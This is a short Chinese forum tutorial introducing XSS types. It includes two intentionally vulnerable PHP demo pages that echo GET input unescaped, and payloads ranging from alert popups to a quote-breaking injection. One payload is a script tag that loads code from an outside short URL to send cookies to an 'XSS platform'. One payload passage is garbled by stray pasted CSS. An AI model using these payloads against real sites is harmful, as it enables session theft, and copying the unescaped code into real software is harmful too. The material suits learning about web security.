初窥XSS跨站脚本攻击
本帖最后由 yun 于 2017-4-30 22:27 编辑XSS跨站脚本攻击的分类一、 反射型XSS跨站脚本攻击二、 存储型XSS跨站脚本攻击三、 基于DOM的XSS跨站脚本攻击
1.反射性XSS经过后端,不经过数据库2.储存型XSS经过后端,经过数据库3.基于DOM型的XSS不经过后端,DOM—based XSS漏洞是基于文档对象模型(即Document Objeet Model缩写为:DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。DOM 定义了访问 HTML 和 XML 文档的标准:
案例一:<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" size="50" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为:
'.$xss;
?>
</body>
</html>输入payload:<script>alert('xss')</script>
仅仅是弹窗?<script>alert(document.cooki)</script> //可以打印COOKIE<script src=https://is.gd/86Zg1z></script> //结合XSS平台打COOKIE
案例二:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>在输入处输入aa以后看源码:
然后写出绕过payload"><script>alert('xss')</script>
后来看文章发现这个也可以:"margin: 10px auto; color: rgb(0, 0, 0); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;">039是单引号的ASCII值.在其前面加&#即可.也是可以弹窗。注:需要触发。
需要触发肯定很麻烦,这个时候我们可以换一些别的事件。Onmousemove 当鼠标移动就触发Onload 当页面加载完成后触发
厉害了啊技术党 学习学习。
页:
[1]